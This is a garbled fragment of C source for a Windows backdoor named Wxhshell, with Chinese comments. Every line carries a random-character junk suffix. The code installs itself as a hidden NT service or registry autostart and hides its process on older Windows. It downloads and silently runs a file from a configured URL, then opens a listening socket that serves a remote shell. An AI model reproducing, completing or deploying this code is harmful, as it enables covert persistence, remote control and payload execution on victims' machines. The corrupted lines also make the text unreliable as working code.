DWORD AffinityMask; |)W!jC&k
DWORD BasePriority; CQODXB^
ULONG UniqueProcessId; FyG6!t%
ULONG InheritedFromUniqueProcessId; 0>!/rR7
} PROCESS_BASIC_INFORMATION; WP-jtZ?!"
ad!(z[F'Y
PROCNTQSIP NtQueryInformationProcess; ,M3z!=oIGn
z#<P}}
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; i9UI,b%X
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; LNQSb4
wUi(3g|A
HANDLE hProcess; -cNx1et
PROCESS_BASIC_INFORMATION pbi; gY`Nr!O
he)ulB
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); !;>(ie\
if(NULL == hInst ) return 0; uC~g#[I QM
7SI)1_%G
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ke/_k/
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); d^39t4
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ]Qi,j#X
|Vx~fK S\
if (!NtQueryInformationProcess) return 0; -O&"|
z^sST
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Xy#VQ{!
if(!hProcess) return 0; JZ`L%
N_C_O$j
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; <?$kI>Ot
W81o"TR|pt
CloseHandle(hProcess); Ohl} X 1
h'^FrWaU/
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); N"DY?6
if(hProcess==NULL) return 0; a]1i/3/
F>:%Cyo0!
HMODULE hMod; ID8k/t!
char procName[255]; 2H&{1f\Bf
unsigned long cbNeeded; p27p~b&
|*Ot/TvG
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); kqB\xlS7k
lSc,AOXp
CloseHandle(hProcess); 4`mO+.za1
Rlw9$/D!Z
if(strstr(procName,"services")) return 1; // 以服务启动 PO
ko]@~!i
a'[)9:
return 0; // 注册表启动 ItK
} X*Z5 P
J5T=!wF (
// 主模块 ]+IVSxa!u
int StartWxhshell(LPSTR lpCmdLine) "2h5m4
{ NyJnOw(
SOCKET wsl; 4/L>&%8V
BOOL val=TRUE; ZBj6KqfST%
int port=0; N^B@3QF
struct sockaddr_in door; Ea`OT+#h(*
i
X/tt
if(wscfg.ws_autoins) Install(); ",Wf uz
Pi%tsKk%
port=atoi(lpCmdLine); `?SG XXC
w67xl
if(port<=0) port=wscfg.ws_port; P`sN&Y~m
gStY8Z!k
WSADATA data; 1hNEkpL^a
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; yv${M u
0^>E`/
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; v:P!(`sF
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); y@9Y,ZR*
door.sin_family = AF_INET; H!JWc'(<$
door.sin_addr.s_addr = inet_addr("127.0.0.1"); EHWv3sR-
door.sin_port = htons(port); p#b{xK
|'@[N,
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { |p'i,.(c_W
closesocket(wsl); K%<GU1]-]
return 1; d2ofxfpg+
} /:6Q.onmLn
$f(agG]
if(listen(wsl,2) == INVALID_SOCKET) { G4yUC<TqBP
closesocket(wsl); --/-D5
return 1; >H?uuzi
} w$% BlqN
Wxhshell(wsl); }9Qf #&o
WSACleanup(); )tPl<lb
NhtEW0xCr
return 0; J_/05(48
%EB;1
} 0HPO"x3-O
l-=e62I{=|
// 以NT服务方式启动 E<a.LW@
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) (qk5f`O
{ F25<+1kr
DWORD status = 0; *08+\ed"#
DWORD specificError = 0xfffffff; _&mc8ftT
!ZA}b[
serviceStatus.dwServiceType = SERVICE_WIN32; t!savp
serviceStatus.dwCurrentState = SERVICE_START_PENDING; (v|`LmV
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; f}-v
serviceStatus.dwWin32ExitCode = 0; "sIN86pCs
serviceStatus.dwServiceSpecificExitCode = 0; ,A?v,Fs>O[
serviceStatus.dwCheckPoint = 0; 7n>|D^
serviceStatus.dwWaitHint = 0; Gavkil
.ftUhg
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); J<-Fua^
if (hServiceStatusHandle==0) return;
jrdtd6b}
-~]^5aa5n
status = GetLastError(); 4i96UvkZ
if (status!=NO_ERROR) q]?+By-0
{ [R$liN99z;
serviceStatus.dwCurrentState = SERVICE_STOPPED; &0h=4i=6r
serviceStatus.dwCheckPoint = 0; j5A\y^Kv
serviceStatus.dwWaitHint = 0; x[a'(5PwY
serviceStatus.dwWin32ExitCode = status; 1Y2a*J
serviceStatus.dwServiceSpecificExitCode = specificError; M->Kz{h?j
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6fQ*X~| p
return; PJ6$);9}6
} k#-[ M.i
p|;o5j{
serviceStatus.dwCurrentState = SERVICE_RUNNING; ^1vq{/ X
serviceStatus.dwCheckPoint = 0; L`JY4JM"
serviceStatus.dwWaitHint = 0; ;lk f+,;
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 6%z`)d
} rOhA*_EG
nO%<;-=u\
// 处理NT服务事件,比如:启动、停止 aH9L|BN*
VOID WINAPI NTServiceHandler(DWORD fdwControl) l85CJ+rg
{ .>oM
z&
switch(fdwControl) TR_(_Yd?36
{ R3cG<MjmK
case SERVICE_CONTROL_STOP: 0Mq6yu^
serviceStatus.dwWin32ExitCode = 0; hAYQ6g$A
serviceStatus.dwCurrentState = SERVICE_STOPPED; &,Uc>L%m
serviceStatus.dwCheckPoint = 0; RDJ82{
serviceStatus.dwWaitHint = 0; np&HEh 6
{ L7[X|zmy*x
SetServiceStatus(hServiceStatusHandle, &serviceStatus); E'fX&[
} @)06\h
return; Q,O]x#
case SERVICE_CONTROL_PAUSE: <6gU2@1
serviceStatus.dwCurrentState = SERVICE_PAUSED; M`q#,Y?3^I
break; G+;g:_E=
case SERVICE_CONTROL_CONTINUE: @D2`*C9
serviceStatus.dwCurrentState = SERVICE_RUNNING; <,#rtVO$
break; 5@""_n&FV
case SERVICE_CONTROL_INTERROGATE: d?E4[7<t$1
break; mrX}\p
}; [29$~.m$Y
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^S3A10f,
} X{4xm,B/
Y~<rQ
// 标准应用程序主函数 \y<+Fac1S
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) #0xm3rFy4
{ w 2s,
>l6XZQ
>
// 获取操作系统版本 &<m
WA]cAL
OsIsNt=GetOsVer(); C} |O#"t^\
GetModuleFileName(NULL,ExeFile,MAX_PATH); I(F1S,7
L'zdsa}Et
// 从命令行安装 QZ_nQ3K
if(strpbrk(lpCmdLine,"iI")) Install(); )bF)RLZ
if\k[O 1T6
// 下载执行文件 &Qz"nCvJ
if(wscfg.ws_downexe) { 48W:4B'l9
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %_cg|yy
WinExec(wscfg.ws_filenam,SW_HIDE); b49|4
} &xF4p,7
}P7xdQ6
if(!OsIsNt) { +*]SP@|IYI
// 如果时win9x,隐藏进程并且设置为注册表启动 R?i-"JhW
HideProc(); bkJn}Al;
StartWxhshell(lpCmdLine); ^2(";.m
} Ykx&6M@t
else D}3cW2!9
if(StartFromService()) wpJ^}+kF
// 以服务方式启动 9L UP{(uq
StartServiceCtrlDispatcher(DispatchTable); +G>aj'\M|
else '&&~IB4ud
// 普通方式启动 $H
%+k?
StartWxhshell(lpCmdLine); Au%Wrk3j
m mw)C"
return 0; t(Cq(.u`:
}